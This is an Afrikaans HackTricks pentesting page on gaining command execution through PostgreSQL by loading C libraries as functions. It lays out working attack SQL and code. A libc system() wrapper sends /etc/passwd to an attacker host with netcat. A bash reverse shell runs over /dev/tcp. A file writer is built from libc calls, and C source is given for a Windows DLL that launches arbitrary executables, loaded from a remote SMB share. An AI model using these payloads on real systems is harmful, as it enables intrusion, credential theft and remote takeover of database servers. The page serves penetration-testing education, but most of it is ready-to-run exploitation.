Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat? Kyk na die SUBSCRIPTION PLANS!
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernkenmerk, wat dit moontlik maak om uitbreidings naadloos te integreer asof dit ingeboude funksionaliteite is. Hierdie uitbreidings, essensieel biblioteke geskryf in C, verryk die databasis met addisionele funksies, operatore of tipes.
Vanaf weergawe 8.1 af, word 'n spesifieke vereiste opgelê aan die uitbreidingsbiblioteke: hulle moet gekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, om sodoende slegs verenigbare en potensieel veilige uitbreidings te gebruik.
Die uitvoering van stelselopdragte vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en reguit is. Dit is moontlik om hierdie Metasploit-module te gebruik.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Skryf binêre lêer vanaf base64
Om 'n binêre lêer in postgres te skryf, moet jy dalk base64 gebruik. Dit sal nuttig wees vir daardie doel:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Egter, wanneer dit op nuwer weergawes probeer word, is die volgende fout gewys:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Om te verseker dat 'n dinamies gelaai objeklêer nie in 'n onversoenbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n "sielblok" bevat met die toepaslike inhoud. Dit stel die bediener in staat om duidelike onversoenbaarhede op te spoor, soos kode wat vir 'n ander hoofweergawe van PostgreSQL gekompileer is. 'n Sielblok word vereis vanaf PostgreSQL 8.2. Om 'n sielblok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat die fmgr.h-kopiereël ingesluit is:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Vanaf PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te misbruik, moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n aangepaste biblioteek oplaai. Hierdie aangepaste biblioteek moet gekompileer word teen die versoenbare hoofweergawe van PostgreSQL en moet 'n spesifieke "sielblok" insluit. Hierdie maatreël verhoog die moeilikheid om PostgreSQL-stelsels te misbruik aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergaweversoenbaarheid vereis.
Kompileer die biblioteek
Kry die PostgreSQL-weergawe met:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Vir verenigbaarheid is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom sal dit verseker dat suksesvolle integrasie plaasvind as 'n biblioteek met enige weergawe binne die 9.6.x-reeks saamgestel word.
Laai dan die saamgestelde biblioteek op en voer opdragte uit met:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Jy kan hierdie biblioteek vooraf saamgestel vind vir verskeie verskillende PostgreSQL-weergawes en selfs kan jy hierdie proses outomatiseer (as jy PostgreSQL-toegang het) met:
RCE in Windows
Die volgende DLL neem as inset die naam van die binêre lêer en die aantal kere wat jy dit wil uitvoer en voer dit uit:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Jy kan die DLL wat in hierdie zip saamgestel is, vind:
Jy kan aan hierdie DLL aandui watter binêre lêer om uit te voer en die aantal kere om dit uit te voer. In hierdie voorbeeld sal dit calc.exe 2 keer uitvoer:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Let daarop hoe in hierdie geval die skadelike kode binne die DllMain-funksie is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaai funksie in postgresql uit te voer nie, net die DLL laai sal die omgekeerde skulpruim uitvoer:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE in nuutste Prostgres weergawes
In die nuutste weergawes van PostgreSQL is beperkings opgelê waar die superuserverbied word om gedeelde biblioteeklêers te laai behalwe uit spesifieke gids, soos C:\Program Files\PostgreSQL\11\lib op Windows of /var/lib/postgresql/11/lib op *nix-stelsels. Hierdie gidse is beveilig teen skryfoperasies deur die NETWORK_SERVICE of postgres-rekeninge.
Ten spyte van hierdie beperkings is dit moontlik vir 'n geauthentiseerde databasis superuser om binêre lêers na die lêersisteem te skryf deur gebruik te maak van "groot voorwerpe." Hierdie vermoë strek tot skryf binne die C:\Program Files\PostgreSQL\11\data gids, wat noodsaaklik is vir databasisoperasies soos opdatering of skepping van tabelle.
'n Beduidende kwesbaarheid ontstaan uit die CREATE FUNCTION-opdrag, wat gidsverspreiding toelaat na die data-gids. Gevolglik kan 'n geauthentiseerde aanvaller hierdie verspreiding uitbuit om 'n gedeelde biblioteeklêer in die data-gids te skryf en dit dan laai. Hierdie aanval stel die aanvaller in staat om willekeurige kode uit te voer, wat lei tot uitvoering van inheemse kode op die stelsel.
Aanvalvloei
Eerstens moet jy groot voorwerpe gebruik om die dll op te laai. Jy kan sien hoe om dit te doen hier:
Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!